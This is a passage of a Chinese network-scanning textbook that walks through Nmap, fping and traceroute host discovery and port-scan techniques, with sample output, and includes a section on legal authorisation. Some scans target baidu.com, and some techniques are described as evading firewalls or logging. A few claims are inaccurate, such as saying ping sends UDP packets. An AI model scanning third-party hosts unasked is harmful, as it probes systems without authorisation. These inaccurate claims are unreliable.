未知 1.3.4 远程扫描 前面介绍的几种环境都是一个局域网，可以直接实施扫描。如果无法直接连入对方网络的话，例如异地对局域网进行检测，则需要使用远程扫描方式。此时可以在树莓派上安装Kali Linux系统，并配置4G上网卡加入异地的局域网中。用户在任何地方通过4G网络远程登录Kali Linux系统，即可对所在局域网络实施扫描。 未知 1.4 法律边界 当实施网络扫描及渗透测试时，获取准确的书面授权是非常重要的事情，否则可能会面临法律诉讼。本节将介绍网络扫描的法律边界问题。 未知 1.4.1 授权扫描 用户在实施扫描之前，首先需要获取目标所有者的正式授权，否则会违反法律规定，造成不必要的麻烦。下面列举几条网络扫描相关的法律条文。 （1）不得非法入侵他人网络、干扰他人网络正常功能、窃取网络数据，进行危害网络安全的活动。 （2）不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害安全活动的程序、工具。 所以，用户在实施扫描之前，必须要获取网络所有人明确的书面授权。"},
    {"text": "未知 1.4.2 潜在风险 在实施扫描时，部分操作存在一定的潜在风险，如消耗大量的网络资源、触发安全软件报警。例如，用户使用Namp-A实施扫描时，将会向1～65535端口依次发包，要求建立TCP连接，这样容易造成网络拥堵。如果同时扫描局域网内多个主机时，占用的网络资源会翻倍。 部分扫描操作没有建立完整的连接过程，会被网络防火墙认定为攻击行为，从而触发网络警报。同时，部分网络会建立蜜罐机制，而扫描操作往往会触发这类机制，造成错误预警。所以，用户需要事先以正式的方式告知目标网络所有者，扫描操作可能会造成的影响，并要求对方确认。 未知 第2章 网络扫描基础技术 在第1章中介绍了网络扫描的目的和方式。接下来，用户就可以实施网络扫描了。本章将介绍一些网络扫描的基础技术，如ICMP扫描、TCP扫描、UDP扫描和IP扫描。 未知 2.1 ICMP扫描 ICMP（Internet Control Message Protocal，因特网控制报文协议）工作在OSI的网络层，向数据通信中的源主机报告错误。从技术角度来说，ICMP就是一个“错误侦测与回报机制”，其目的就是让用户能够检测网络的连续状况，也能够确保连续的准确性。通过实施ICMP Ping扫描，可以发现目标主机是否活动。本节将介绍ICMP的工作机制及不同的扫描方法。 未知 2.1.1 ICMP工作机制 ICMP是TCP/IP协议族的一个子协议，用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据，但是对于用户数据的传递却起着重要的作用。当遇到IP数据无法访问目标、IP路由器无法按当前的传输速率转发数据包等情况时，会自动发送ICMP消息，进而确定目标主机的状态。为了使读者对ICMP的响应消息有一个清晰的认识，这里以表格形式列出了ICMP的所有消息类型，如表2.1所示。 表2.1 ICMP消息类型"},
    {"text": "未知 2.1.2 标准ICMP扫描 标准ICMP扫描就是简单的通过向目标主机发送ICMP Echo Request数据包，来探测目标主机是否在线。如果目标主机回复用户ICMP Echo Reply包的话，则说明目标主机在线；否则说明不在线。其中，最常见的发送ICMP Echo Request包工具就是Ping。用户还可以使用一个类似Ping的工具fping等。下面将介绍实施标准ICMP扫描的方法。 1．使用Ping命令 Ping是Windows、UNIX和Linux系统下的一个命令。使用该命令可以检查网络是否连通，可以很好地帮助用户分析和判定网络故障。该命令是通过发送一个ICMP Echo Request数据包，并等待目标主机返回的响应，来检查网络是否通畅或者网络连接速度。该命令的语法格式如下： ping [目标] 【实例2-1】使用Ping命令实施标准ICMP扫描。执行命令如下： root@daxueba:~# ping 192.168.33.152 PING 192.168.33.152 (192.168.33.152) 56(84) bytes of data. 64 bytes from 192.168.33.152: icmp_seq=1 ttl=64 time=0.516 ms 64 bytes from 192.168.33.152: icmp_seq=2 ttl=64 time=0.344 ms 64 bytes from 192.168.33.152: icmp_seq=3 ttl=64 time=0.535 ms 64 bytes from 192.168.33.152: icmp_seq=4 ttl=64 time=0.365 ms 64 bytes from 192.168.33.152: icmp_seq=5 ttl=64 time=0.287 ms ^C --- 192.168.33.152 ping statistics --- 5 packets transmitted, 5 received, 0% packet loss, time 79ms rtt min/avg/max/mdev = 0.287/0.409/0.535/0.100 ms 看到以上输出信息，则表示得到了目标主机的响应。由此可以说明，目标主机是活动的。如果目标主机没有在线的话，将显示如下信息： root@daxueba:~# ping 192.168.33.128 PING 192.168.33.128 (192.168.33.128) 56(84) bytes of data. From 192.168.33.154 icmp_seq=1 Destination Host Unreachable From 192.168.33.154 icmp_seq=2 Destination Host Unreachable From 192.168.33.154 icmp_seq=3 Destination Host Unreachable 从输出的信息可以看到，返回的响应包为Destination Host Unreachable（目标主机不可达）。 提示： 当用户使用Ping命令扫描时，如果扫描的目标主机是Windows系统，则将返回四个响应包。如果目标主机是Linux系统，将一直Ping下去。此时，用户需要按Ctrl+C组合键停止Ping。 2．使用Nmap工具 Nmap是一个免费开放的网络扫描和嗅探工具包，也叫网络映射器（Network Mapper）。Nmap工具的“-PE”选项，可以用来实施ICMP扫描，该工具的语法格式如下： nmap -PE [目标] 以上语法中的-PE选项，表示将发送一个ICMP echo、timestamp和netmask请求，来探测目标主机是否在线。 【实例2-2】使用Nmap实施ICMP扫描。执行命令如下： root@daxueba:~# nmap -PE 192.168.33.152 Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-20 10:58 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.00030s latency). #主机是活动的 Not shown: 997 closed ports #关闭的端口 PORT STATE SERVICE #开放的端口 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:FD:58:4B (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds 从输出的信息可以看到，目标主机192.168.33.152是活动的（up），而且还可以看到，目标主机开放了三个端口，997个端口是关闭的。其中，开放的端口分别是21、22和80。如果目标主机没有在线的话，则将显示如下信息： root@daxueba:~# nmap -PE 192.168.33.128 Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-20 15:30 CST Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn Nmap done: 1 IP address (0 hosts up) scanned in 0.53 seconds 从输出的信息可以看到，目标主机是关闭的（down）。 3．使用Fping命令 Fping是一个小型命令行工具，用于向网络主机发送ICMP回应请求，类似于Ping，但在Ping多个主机时性能要高得多。Fping与Ping命令不同的是，Fping可以在命令行上定义任意数量的主机，或者指定包含要Ping的IP地址或主机列表文件。其中，使用Fping命令实施扫描的语法格式如下： fping [目标…] 【实例2-3】使用Fping实施ICMP扫描。执行命令如下： root@daxueba:~# fping 192.168.33.128 192.168.33.147 192.168.33.152 192.168.33.147 is alive 192.168.33.152 is alive ICMP Host Unreachable from 192.168.33.154 for ICMP Echo sent to 192.168. 33.128 ICMP Host Unreachable from 192.168.33.154 for ICMP Echo sent to 192.168. 33.128 ICMP Host Unreachable from 192.168.33.154 for ICMP Echo sent to 192.168. 33.128 ICMP Host Unreachable from 192.168.33.154 for ICMP Echo sent to 192.168. 33.128 192.168.33.128 is unreachable 从以上输出的信息可以看到，测试了3台主机。其中，主机192.168.33.147和192.168.33.152是活动的，主机192.168.33.128不可达。"},
    {"text": "未知 2.1.3 时间戳查询扫描 对于一些服务器来说，通常会配置防火墙，用来阻止ICMP Echo请求。但是由于一些配置不当，仍然可能会回复ICMP时间戳请求。因而可以通过使用ICMP时间戳查询扫描，来判断目标主机是否在线。下面将介绍使用Nmap实施ICMP时间戳查询扫描的方法。 使用Nmap实施ICMP时间戳查询扫描的语法格式如下： nmap -PP [目标] 其中，-PP表示进行一个ICMP时间戳Ping扫描。 【实例2-4】对目标主机192.168.33.152实施时间戳查询扫描。执行命令如下： root@daxueba:~# nmap -PP 192.168.33.152 Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-20 10:58 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.000095s latency). Not shown: 997 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:FD:58:4B (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds 从输出的信息中可以看到，目标主机是活动的。 未知 2.1.4 地址掩码查询扫描 地址掩码查询扫描和时间戳查询扫描类似。这种非常规的ICMP查询，试图用备选的ICMP登记Ping指定的主机，这种类型的Ping可绕过配置有封锁标准回声请求策略的防火墙。使用Nmap实施地址掩码查询扫描的语法格式如下： nmap -PM [目标] 其中，-PM表示进行一个ICMP地址掩码Ping扫描。 【实例2-5】使用Nmap对目标主机实施地址掩码查询扫描。执行命令如下： root@daxueba:~# nmap -PM 192.168.33.152 Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-20 10:59 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.00011s latency). Not shown: 997 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:FD:58:4B (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds 从以上输出信息中可以看到，目标主机是活动的。 未知 2.2 TCP扫描 TCP（Transmission Control Protocol，传输控制协议）是一种面向连接的、可靠的、基于字节流的传输层通信协议。根据TCP协议的工作流程，可以向目标主机发送不同类型的包，然后根据目标主机的响应情况，来判断目标主机是否在线。本节将介绍TCP的工作机制及扫描方法。 未知 2.2.1 TCP工作机制 TCP是因特网中的传输层协议，使用三次握手协议建立连接。当主动方发出SYN连接请求后，等待对方回答SYN+ACK，并最终对对方的SYN执行ACK确认。这种建立连接的方法可以防止产生错误的连接，TCP使用的流量控制协议是可变大小的滑动窗口协议。TCP建立连接的工作流程如图2.1所示。 图2.1 TCP建立连接的工作流程 以上建立连接的详细工作流程如下： （1）客户端发送SYN（SEQ=x）报文给服务器端，进入SYN_SEND状态。 （2）服务器端收到SYN报文后，将回应一个SYN（SEQ=y）ACK（ACK=x+1）报文，进入SYN_RECV状态。 （3）客户端收到服务器端的SYN报文后，将回应一个ACK（ACK=y+1）报文，进入Established状态。至此，TCP的三次握手就完成了，TCP客户端和服务器端成功地建立了连接。接下来就可以开始传输数据了。"},
    {"text": "未知 2.2.2 TCP SYN扫描 TCP SYN扫描也叫做隐蔽扫描或半打开的扫描。在这种技术中，扫描主机向目标主机指定端口发送SYN数据包。如果源主机收到RST数据包，则说明端口是关闭的；如果源主机收到SYN+ACK数据包，则说明目标端口处于监听状态。由于扫描主机已经获取端口的状态信息，并不需要建立连接，所以传送一个RST数据包给目标主机，从而停止建立连接。在SYN扫描过程中，客户端和服务器端没有形成三次握手，所以没有建立一个正常的TCP连接，因此扫描操作不会被防火墙和日志所记录。这样就不会在目标主机上留下任何的痕迹，但是这种扫描需要Root权限。下面将介绍使用Nmap工具实施TCP SYN扫描的方法。 1．TCP SYN Ping扫描 Ping扫描主要就是用于探测网络中活动主机的。Nmap默认Ping扫描是使用TCP ACK和ICMP Echo请求来判断目标主机是否响应。如果目标主机上有防火墙阻止这些请求时，将会漏掉这些主机。此时，用户可以使用TCP SYN Ping扫描来处理这种情况。用于TCP SYN Ping扫描的语法格式如下： nmap -PS [目标] 其中，-PS表示实施TCP SYN Ping扫描。 【实例2-6】实施TCP SYN Ping扫描。执行命令如下： root@daxueba:~# nmap -PS 192.168.33.152 Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-20 10:59 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.00015s latency). Not shown: 997 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:FD:58:4B (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds 从以上输出信息中可以看到，目标主机是开放的。 2．TCP SYN扫描 实施TCP SYN扫描的语法格式如下： nmap -sS [目标] 其中，-sS表示实施TCP SYN扫描。这里的-sS选项，实际上是-s和-S两个选项的组合。可以分别来理解这两个选项：-s表示告诉Nmap运行哪种类型的扫描；-S表示执行TCP SYN类型扫描。 【实例2-7】实施TCP SYN扫描。执行命令如下： root@daxueba:~# nmap -sS 192.168.33.152 Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-20 10:59 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.00010s latency). Not shown: 997 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:FD:58:4B (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds 未知 2.2.3 TCP ACK扫描 TCP ACK扫描和TCP SYN扫描类似，其扫描方法是源主机向目标主机的一个端口发送一个只有ACK标志的TCP数据包，不论目标主机的端口是否开启，都会返回相应的RST数据包，然后通过RST包中的TTL，来判断端口是否开启。其中，当TTL值小于64时，表示端口开启；当TTL值大于64时，则表示端口关闭。下面将介绍实施TCP ACK扫描的方法。 1．TCP ACK Ping扫描 TCP ACK Ping扫描和TCP SYN Ping扫描类似，都是根据目标主机的响应来判断主机是否在线。使用这种扫描方式，可以探测阻止SYN包或ICMP Echo请求的主机。但是这种扫描方式会被防火墙阻止。用于实施TCP ACK Ping扫描的语法格式如下： nmap -PA [目标] 其中，-PA表示实施TCP ACK Ping扫描。 【实例2-8】实施TCP ACK Ping扫描。执行命令如下： root@daxueba:~# nmap -PA 192.168.33.152 Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-20 10:59 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.00054s latency). Not shown: 997 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:FD:58:4B (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds 2．TCP ACK扫描 实施TCP ACK扫描的语法格式如下： nmap -sA [目标] 其中，-sA表示实施TCP ACK扫描。 【实例2-9】实施TCP ACK扫描。执行命令如下： root@daxueba:~# nmap -sA 192.168.33.152 Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-20 10:55 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.00010s latency). All 1000 scanned ports on 192.168.33.152 (192.168.33.152) are unfiltered MAC Address: 00:0C:29:FD:58:4B (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds 未知 2.2.4 TCP全连接扫描 TCP全连接扫描是端口扫描中最基础和最稳定的，因为Nmap试图在其命令指定的每个端口上完成三次握手。这种扫描完整地完成了三次握手过程，之后又通过友好的方式断开连接，因此不容易形成对目标的泛洪攻击，以至崩溃。这种扫描方法的特点是扫描速度慢、准确性高，对操作者没有权限上的要求，但是容易被防火墙和IDS（防入侵系统）发现。下面将介绍使用Nmap实施TCP全连接扫描的方法。 使用Nmap实施TCP全连接扫描的语法格式如下： nmap -sT [目标] 其中，-sT表示实施TCP全连接扫描。 【实例2-10】使用Nmap实施TCP全连接扫描，执行命令如下： root@daxueba:~# nmap -sT 192.168.33.152 Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-20 10:57 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.00089s latency). Not shown: 997 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:FD:58:4B (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds"},
    {"text": "未知 2.2.5 TCP窗口扫描 窗口扫描和ACK扫描完全一样。它通过检查返回的RST报文的TCP窗口域，来判断目标端口是开放还是关闭。在某些系统上，开放端口用正数表示窗口大小（甚至对于RST报文），而关闭端口的窗口大小为0。因此，当收到RST包时，窗口扫描并不总是把端口标记为unfiltered，而是根据TCP窗口值是正数还是0，分别把端口标记为open或者closed。下面介绍TCP窗口扫描的方法。 使用Nmap实施TCP窗口扫描的语法格式如下： nmap -sW [目标] 其中，-sW选项表示实施TCP窗口扫描。 【实例2-11】对目标主机实施TCP窗口扫描。执行命令如下： root@daxueba:~# nmap -sW 192.168.33.152 Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-20 11:00 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.000087s latency). All 1000 scanned ports on 192.168.33.152 (192.168.33.152) are closed MAC Address: 00:0C:29:FD:58:4B (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds"},
    {"text": "使用Nmap进行端口扫描时，可以识别6个端口状态，分别是open（开放的）、closed（关闭的）、filtered（被过滤的）、unfiltered（未被过滤的）、open|filtered（开放或者被过滤的）和closed|filtered（关闭或者被过滤的）。 这里介绍下Nmap识别的6个端口状态的具体含义。"},
    {"text": "使用其他类型的扫描（如窗口扫描、SYN扫描或者FIN扫描），来扫描未被过滤的端口可以帮助确定端口是否开放。 ·open|filtered（开放或者被过滤的）：当无法确定端口是开放还是被过滤的时候，Nmap会把该端口划分成这种状态。"},
    {"text": "1．TCP FIN扫描 有些时候，使用TCP SYN扫描也不是最佳的扫描模式。 因为如果目标主机有防火墙的时候，会阻止SYN数据包，这时候可以考虑使用TCP FIN扫描。"},
    {"text": "使用Nmap实施TCP FIN扫描的语法格式如下： nmap -sF [目标] 其中，-sF表示发送一个设置了FIN标志的数据包。 【实例2-12】使用Nmap实施TCP FIN扫描。 执行命令如下： root@daxueba:~# nmap -sF 192.168.33.152 Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-20 11:01 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.00063s latency). Not shown: 997 closed ports PORT STATE SERVICE 21/tcp open|filtered ftp 22/tcp open|filtered ssh 80/tcp open|filtered http MAC Address: 00:0C:29:FD:58:4B (VMware) Nmap done: 1 IP address (1 host up) scanned in 1.42 seconds 2．TCP Xmas树扫描 TCP Xmas树扫描也称为圣诞树扫描，它发送带有URG、PSH和FIN标志的TCP数据包。"},
    {"text": "执行命令如下： root@daxueba:~# nmap -sX 192.168.33.152 Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-20 11:01 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.000078s latency). Not shown: 997 closed ports PORT STATE SERVICE 21/tcp open|filtered ftp 22/tcp open|filtered ssh 80/tcp open|filtered http MAC Address: 00:0C:29:FD:58:4B (VMware) Nmap done: 1 IP address (1 host up) scanned in 1.40 seconds 3．TCP Null扫描 TCP Null（空）扫描和TCP Xmas树扫描一样，也是通过发送非常规的TCP通信数据包对目标计算机进行探测。"},
    {"text": "根据RFC793规定，如果目标主机的相应端口是关闭的话，则应该响应一个RST数据包； 如果目标主机的相应端口是开启的话，则不会响应任何信息。"},
    {"text": "执行命令如下： root@daxueba:~# nmap -sN 192.168.33.152 Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-20 11:00 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.00067s latency). Not shown: 997 closed ports PORT STATE SERVICE 21/tcp open|filtered ftp 22/tcp open|filtered ssh 80/tcp open|filtered http MAC Address: 00:0C:29:FD:58:4B (VMware) Nmap done: 1 IP address (1 host up) scanned in 1.40 seconds"},
    {"text": "未知 2.3 UDP扫描 UDP扫描通过向目标主机发送UDP包，根据目标主机的响应情况来判断目标是否在线。由于UDP协议是非面向连接的，对UDP端口的探测也就不像TCP端口的探测那样依赖于连接建立过程，这使得UDP端口扫描的可靠性并不高。所以，虽然UDP协议较之TCP协议更简单，但是对UDP端口的扫描却是相当困难的。本节将介绍UDP扫描的工作机制及扫描方法。 未知 2.3.1 UDP工作机制 UDP（User Datagram Protocol，用户数据报协议）是与TCP响应的协议。它是面向非连接的协议，它不与对方建立连接，而是直接就把数据包发送过来。UDP适用于一次只传少量数据，对可靠性要求不高的应用环境。其中，Ping命令的原理就是向对方主机发送UDP数据包，然后对方主机确认是否收到数据包。如果数据包是否到达的消息及反馈回来，那么网络就是通的。 未知 2.3.2 实施UDP扫描 UDP扫描是通过发送UDP数据包到目标主机并等待响应，来判断目标端口是否开放。如果目标返回ICMP不可达的错误（类型3，代码3），则说明端口是关闭的；如果得到正确的或适当的响应，则说明端口是开放的。下面介绍使用Nmap实施UDP扫描的方法。 1．UDP Ping扫描 UDP Ping扫描就是通过向目标主机发送一个空的UDP包到指定端口，然后根据目标主机的响应情况来判断目标是否在线。尽管一些服务器会配置防火墙阻止连接，但有些情况下用户可能仅配置了过滤TCP连接，而忘记配置UDP过滤规则。所以，使用UDP Ping扫描也是发现主机的一种方法。其语法格式如下： nmap -PU [portlist] [目标] 以上语法中的选项及含义如下： ·-PU：扫描只会对目标进行UDP Ping扫描。这种类型的扫描会发送UDP包来获得一个响应。 ·portlist：指定扫描的端口，默认是40125。 【实例2-15】对目标主机的53号端口实施UDP Ping扫描。执行命令如下： root@daxueba:~# nmap -PU53 61.135.169.121 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-02 14:45 CST Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn Nmap done: 1 IP address (0 hosts up) scanned in 2.12 seconds 从输出的信息中可以看到，目标主机上的53号端口没有开放，进而推断出目标主机不在线。 注意： 使用UDP Ping扫描方式，NAT网络中会影响扫描结果。 2．UDP扫描 实施UDP扫描的语法格式如下： nmap -sU 其中，-sU表示这种扫描技术是用来寻址目标主机打开的UDP端口。它不需要发送任何的SYN包，因为这种技术是针对UDP端口的。UDP扫描发送UDP数据包到目标主机，并等待响应。如果返回ICMP不可达的错误消息，说明端口是关闭的；如果得到正确的或适当的回应，则说明端口是开放的。 【实例2-16】实施UDP扫描。执行命令如下： root@daxueba:~# nmap -sU 192.168.33.147 Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-20 11:15 CST Nmap scan report for 192.168.33.147 (192.168.33.147) Host is up (0.00046s latency). Not shown: 990 closed ports PORT STATE SERVICE 9/udp open|filtered discard 53/udp open domain 68/udp open|filtered dhcpc 69/udp open|filtered tftp 111/udp open rpcbind 137/udp open netbios-ns 138/udp open|filtered netbios-dgm 2049/udp open nfs 3401/udp open|filtered squid-snmp 16420/udp open|filtered unknown MAC Address: 00:0C:29:3E:84:91 (VMware) Nmap done: 1 IP address (1 host up) scanned in 1107.22 seconds 从输出的信息中可以看到目标主机上开放的UDP端口及对应服务。例如，开放的UDP端口有53、111和137等。 未知 2.4 IP扫描 IP（Internet Protocol Address，网际协议地址）也称为IP地址，是分配给用户上网使用的网际协议设备的地址标签。Nmap工具提供了一个-sO选项，可以用来实施IP扫描。通过实施IP扫描，可以探测到目标主机中TCP/IP协议簇中有哪些协议，类型号分别是多少。其中，用于实施IP扫描的语法格式如下： nmap -sO [目标] 其中，-sO表示使用IP协议扫描确定目标主机支持的协议类型。 【实例2-17】使用Nmap实施IP扫描。执行命令如下： root@daxueba:~# nmap -sO 192.168.33.152 Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-20 11:03 CST Warning: 192.168.33.152 giving up on port because retransmission cap hit (10). Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.00052s latency). #目标主机是开放的 Not shown: 244 closed protocols #关闭的协议号 PROTOCOL STATE SERVICE #开放的协议号 1 open icmp 2 open|filtered igmp 6 open tcp 17 open udp 64 open|filtered sat-expak 95 open|filtered micp 101 open|filtered ifmp 103 open|filtered pim 131 open|filtered pipe 136 open|filtered udplite 142 open|filtered rohc 230 open|filtered unknown MAC Address: 00:0C:29:FD:58:4B (VMware) Nmap done: 1 IP address (1 host up) scanned in 274.75 seconds 从以上输出信息中可以看到目标主机上支持所有协议。例如，支持的协议有ICMP、IGMP、TCP和UDP等，对应的协议号分别为1、2、6和17。 未知 第3章 局域网扫描 局域网（Local Area Network，LAN）是指某一区域内由多台计算机互联成的计算机组。在局域网中，所有的主机之间都可以进行通信。所以，通过对局域网中的主机进行扫描，即可发现活动的主机，并进行数据传输。本章将介绍对局域网中的主机进行扫描的方法。"},
    {"text": "未知 3.1 网络环境 在实施局域网扫描之前，需要对其网络环境有所了解，如网络范围、经过的路由等，然后才可以确定扫描的目标。本节将对局域网网络环境进行简单介绍。"},
    {"text": "未知 3.1.1 网络范围 当用户实施局域网扫描时，首先要确定一个网络范围，如单个IP地址、多个IP地址、一个地址范围或整个子网，否则将会浪费大量的时间。"},
    {"text": "IP地址根据网络号和主机号，分为A类（1.0.0.0～126.0.0.0）、B类（128.1.0.0～191.255.0.0）和C类（192.0.1.0～223.255.255.0）三类及特殊地址D类和E类。"},
    {"text": "多播地址是让源设备能够将分组发送给一组设备的地址。 属于多播组的设备将被分配一个多播组IP地址，多播地址范围为224.0.0.0～239.255.255.255。 由于多播地址表示一组设备，因此只能用作分组的目标地址。"},
    {"text": "例如，10.0.0.0（255.0.0.0）网段，其广播地址为10.255.255.255； 172.16.0.0（255.255.0.0）网段，其广播地址为172.16.255.255； 192.168.1.0（255.255.255.0）网段，其广播地址为192.168.1.255。"},
    {"text": "【实例3-1】使用Netmask工具将IP范围转换为CIDR格式。 执行命令如下： root@daxueba:~# netmask -c 192.168.0.0:192.168.2.255 192.168.0.0/23 192.168.2.0/24 从以上输出的信息中可以看到，已经成功地将IP范围转换为CIDR格式了。 【实例3-2】使用Netmask工具将IP范围转换为标准的子网掩码格式。 执行命令如下： root@daxueba:~# netmask -s 192.168.0.0:192.168.2.255 192.168.0.0/255.255.254.0 192.168.2.0/255.255.255.0 从以上输出的信息中可以看到，已经成功地将IP范围转换为子网掩码格式了。 【实例3-3】使用Netmask工具将IP范围转换到Cisco格式。 执行命令如下： root@daxueba:~# netmask -i 192.168.0.0:192.168.2.255 192.168.0.0 0.0.1.255 192.168.2.0 0.0.0.255 从以上输出的信息中可以看到，已经成功地将IP范围转换为Cisco格式了。 【实例3-4】使用Netmask工具将CIDR格式转换到IP范围格式。 执行命令如下： root@daxueba:~# netmask -r 192.168.0.0/23 192.168.0.0-192.168.1.255 (512) 从以上输出的信息中可以看到，已经成功地将CIDR格式转换为IP范围格式了。"},
    {"text": "2．使用Nmap工具实施扫描 Nmap工具提供了一个-iL选项，可以对指定的目标列表实施扫描。 使用该工具的语法格式如下： nmap -iL [inputfilename] 以上语法中的选项及参数含义如下： ·-iL：从文件列表中读取目标地址。"},
    {"text": "这里将该目标写入hosts.list文件，具体如下： root@daxueba:~# vi hosts.list 192.168.33.0/24 此时，将使用-iL选项，指定对该目标列表文件实施扫描。"},
    {"text": "执行命令如下： root@daxueba:~# nmap -iL hosts.list Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-21 11:28 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.00096s latency). Not shown: 997 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:FD:58:4B (VMware) Nmap scan report for 192.168.33.1 (192.168.33.1) Host is up (0.00022s latency). All 1000 scanned ports on 192.168.33.1 (192.168.33.1) are filtered MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.33.2 (192.168.33.2) Host is up (0.00044s latency). All 1000 scanned ports on 192.168.33.2 (192.168.33.2) are closed MAC Address: 00:50:56:FE:0A:32 (VMware) Nmap done: 3 IP addresses (3 hosts up) scanned in 4.12 seconds 从以上显示的结果中可以看到，192.168.33.0/24网络内有3台活动主机。"},
    {"text": "未知 3.1.2 上级网络 在一个局域网内，用户也可能会使用多个路由器进行串联，以满足扩大原有的网络范围，或者在原有的网络下构建新的网络（子网络）。如果用户连接的是最底层网络的话，则可以通过路由跟踪的方式扫描到上级网络的路由。根据获取的路由信息，可以猜测上级网络的范围大小。下面将介绍实施路由跟踪的方法。 1．使用Nmap工具 Nmap工具提供了一个--traceroute选项，可以用来实现路由跟踪。下面介绍使用Nmap工具实施路由跟踪，以获取上级网络信息。 【实例3-6】使用Nmap工具找出访问百度服务器（ www.baidu.com ）所经过的网络节点。执行命令如下： root@daxueba:~# nmap --traceroute www.baidu.com Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-04 15:28 CST Nmap scan report for www.baidu.com (61.135.169.125) Host is up (0.019s latency). Other addresses for www.baidu.com (not scanned): 61.135.169.121 Not shown: 998 filtered ports PORT STATE SERVICE 80/tcp open http 443/tcp open https TRACEROUTE (using port 443/tcp) HOP RTT ADDRESS 1 1.22 ms 192.168.1.1 (192.168.1.1) 2 3.56 ms 10.188.0.1 (10.188.0.1) 3 ... 10 11 18.21 ms 61.135.169.125 Nmap done: 1 IP address (1 host up) scanned in 9.22 seconds 从输出的信息中可以看到，Nmap工具自动将百度服务器的IP地址解析出来并进行了扫描。从显示的结果中可以看到，本地到百度服务器经过的上级路由依次为192.168.1.1和192.168.0.1。而且，还可以看到目标服务器上开放了80和443两个端口。 2．使用Traceroute工具 Traceroute是一款用来侦测由源主机到目标主机所经过的路由请求的重要工具。Traceroute工具收到目的主机IP后，首先给目的主机发送一个TTL=1（TTL指生存时间）的UDP数据包，而经过的第一个路由器收到这个数据包之后，自动把TTL减去1。当TTL变为0之后，路由器就将这个数据包抛弃了，并同时产生一个主机不可达的ICMP超时数据报给主机。主机收到这个ICMP数据报以后，会发送一个TTL=2的数据报给目的主机，然后刺激第二个路由器给主机发送ICMP数据报，如此反复，直到到达目的主机。这样Traceroute就可以拿到所有路由器的IP，从而避开IP头只能记录有限路由的IP地址。下面介绍使用Traceroute工具实施路由跟踪的方法。 使用Traceroute工具实施路由跟踪的语法格式如下： traceroute [Target] 【实例3-7】使用Traceroute工具侦测访问百度服务器的所有路由。执行命令如下： root@daxueba:~# traceroute www.baidu.com traceroute to www.baidu.com (61.135.169.125), 30 hops max, 60 byte packets 1 192.168.1.1 (192.168.1.1) 0.622 ms 0.520 ms 0.616 ms 2 10.188.0.1 (10.188.0.1) 3.504 ms 3.463 ms 3.528 ms 3 193.6.220.60.adsl-pool.sx.cn (60.220.6.193) 12.510 ms 12.441 ms 12.364 ms 4 253.8.220.60.adsl-pool.sx.cn(60.220.8.253) 14.471 ms 169.9.220.60. adsl- pool.sx.cn (60.220.9.169) 12.489 ms 249.8.220.60.adsl-pool.sx.cn (60. 220. 8.249) 12.112 ms 5 * 219.158.96.89 (219.158.96.89) 24.322 ms 219.158.103.81 (219.158.103. 81) 21.709 ms 6 124.65.194.18 (124.65.194.18) 23.039 ms 124.65.194.166 (124.65.194. 166) 23.014 ms 